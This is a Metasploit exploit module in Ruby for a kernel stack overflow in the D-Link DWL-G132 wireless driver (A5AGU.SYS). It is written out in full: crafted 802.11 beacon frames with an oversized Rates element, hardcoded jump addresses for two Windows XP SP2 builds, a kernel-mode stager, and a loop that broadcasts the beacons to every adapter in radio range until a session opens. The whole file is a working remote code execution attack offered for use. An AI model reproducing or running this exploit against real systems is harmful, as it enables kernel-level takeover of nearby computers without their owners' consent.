require 'msf/core'

module Msf

class Exploits::Windows::Driver::DLink_DWL_G132_WiFi_Rates < Msf::Exploit::Remote

  include Exploit::Lorcon
  include Exploit::KernelMode  

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'D-Link DWL-G132 Wireless Driver Beacon Rates Overflow',
      'Description'    => %q{
        This module exploits a stack overflow in the A5AGU.SYS driver provided
      with the D-Link DWL-G132 USB wireless adapter. This stack overflow 
      allows remote code execution in kernel mode. The stack overflow is triggered
      when a 802.11 Beacon frame is received that contains a long Rates information
      element. This exploit was tested with version 1.0.1.41 of the 
      A5AGU.SYS driver and a D-Link DWL-G132 USB adapter (HW: A2, FW: 1.02). Newer
      versions of the A5AGU.SYS driver are provided with the D-Link WUA-2340
      adapter and appear to resolve this flaw, but D-Link does not offer an updated
      driver for the DWL-G132. Since this vulnerability is exploited via beacon frames,
      all cards within range of the attack will be affected. The tested adapter used
      a MAC address in the range of 00:11:95:f2:XX:XX. 
      
      Vulnerable clients will need to have their card in a non-associated state
      for this exploit to work. The easiest way to reproduce this bug is by starting
      the exploit and then accessing the Windows wireless network browser and
      forcing it to refresh.
      
      D-Link was NOT contacted about this flaw. A search of the SecurityFocus
      database indicates that D-Link has not provided an official patch or
      solution for any of the seven flaws listed at the time of writing:
      (BIDs 13679, 16621, 16690, 18168, 18299, 19006, and 20689).
      
      This module depends on the Lorcon library and only works on the Linux platform
      with a supported wireless card. Please see the Ruby Lorcon documentation 
      (external/ruby-lorcon/README) for more information.
      },
      
      'Authors'        => 
        [
          'hdm',  # discovery, exploit dev
          'skape', # windows kernel ninjitsu
          'Johnny Cache <johnnycsh [at] 80211mercenary.net>' # making all of this possible
        ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision: 3583 $',
      'References'     =>
        [
          ['URL', 'ftp://ftp.dlink.com/Wireless/dwlg132/Driver/DWLG132_driver_102.zip'],
        ],
      'Privileged'     => true,
                        
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },

      'Payload'        =>
        {
          # Its a beautiful day in the neighborhood...
          'Space'    => 1000
        },
      'Platform'       => 'win',
      'Targets'        => 
        [
          # Windows XP SP2 with the latest updates
          # 5.1.2600.2622 (xpsp_sp2_gdr.050301-1519)
          [ 'Windows XP SP2 (5.1.2600.2122), A5AGU.sys 1.0.1.41',
            {
              'Ret'      => 0x8066662c, # jmp edi
              'Platform' => 'win',
              'Payload'  => 
              {
                'ExtendedOptions' => 
                {
                  'Stager'       => 'sud_syscall_hook',
                  'PrependUser'  => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
                  'Recovery'     => 'idlethread_restart',
                  'KiIdleLoopAddress' => 0x804dbb27,
                }
              }
            } 
          ],
          
          # Windows XP SP2 install media, no patches
          # 5.1.2600.2180 (xpsp_sp2_rtm_040803-2158)
          [ 'Windows XP SP2 (5.1.2600.2180), A5AGU.sys 1.0.1.41',
            {
              'Ret'      => 0x804f16eb, # jmp edi
              'Platform' => 'win',
              'Payload'  => 
              {
                'ExtendedOptions' => 
                {
                  'Stager'       => 'sud_syscall_hook',
                  'PrependUser'  => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
                  'Recovery'     => 'idlethread_restart',
                  'KiIdleLoopAddress' => 0x804dc0c7,
                }
              }
            } 
          ]          
        ],


      'DefaultTarget' => 0
      ))
      
    register_options(
      [
        OptString.new('ADDR_DST', [ true,  "The MAC address to send this to",'FF:FF:FF:FF:FF:FF']),
        OptInt.new('RUNTIME', [ true,  "The number of seconds to run the attack", 60])
      ], self.class)
  end
  
  def exploit
    open_wifi
    
    stime = Time.now.to_i
    rtime = datastore['RUNTIME'].to_i
    count = 0
    
    print_status("Sending exploit beacons for #{datastore['RUNTIME']} seconds...")
    while (stime + rtime > Time.now.to_i) 
      wifi.write(create_beacon)
      select(nil, nil, nil, 0.10) if (count % 100 == 0)
      
      count += 1
      
      # Exit if we get a session
      break if session_created?
    end
    
    print_status("Completed sending beacons.")
  end


#
# The long rates field bug can be triggered three different ways (at least):
# 1) Send a single rates IE with valid rates up front and long data
# 2) Send a single rates IE field with valid rates, follow with IE type 0x32 with long data (thanks gil!)
# 3) Send two IE rates fields, with the second one containing the long data (this exploit)
#
  def create_beacon

    ssid   = Rex::Text.rand_text_alphanumeric(6)
    bssid  = ("\x00" * 2) + Rex::Text.rand_text(4)
    src    = ("\x90" * 4) + "\xeb\x2b"
    seq    = [rand(255)].pack('n')

    buff  =  Rex::Text.rand_text(75)
    buff[0, 2]  = "\xeb\x49"
    buff[71, 4] = [target.ret].pack('V')
    
    frame =
      "\x80" +                      # type/subtype
      "\x00" +                      # flags
      "\x00\x00" +                  # duration  
      "\xff\xff\xff\xff\xff\xff" +  # dst
      src   +                       # src
      bssid +                      # bssid
      seq   +                       # seq  
      Rex::Text.rand_text(8) +      # timestamp value
      "\x64\x00" +                  # beacon interval
      "\x00\x05" +                  # capability flags
      
      # ssid tag
      "\x00" + ssid.length.chr + ssid +

      # supported rates
      "\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" +

      # current channel
      "\x03" + "\x01" + channel.chr +

      # eip was his name-o
      "\x01" + buff.length.chr + buff + 

      payload.encoded
                
    return frame
  end

end
end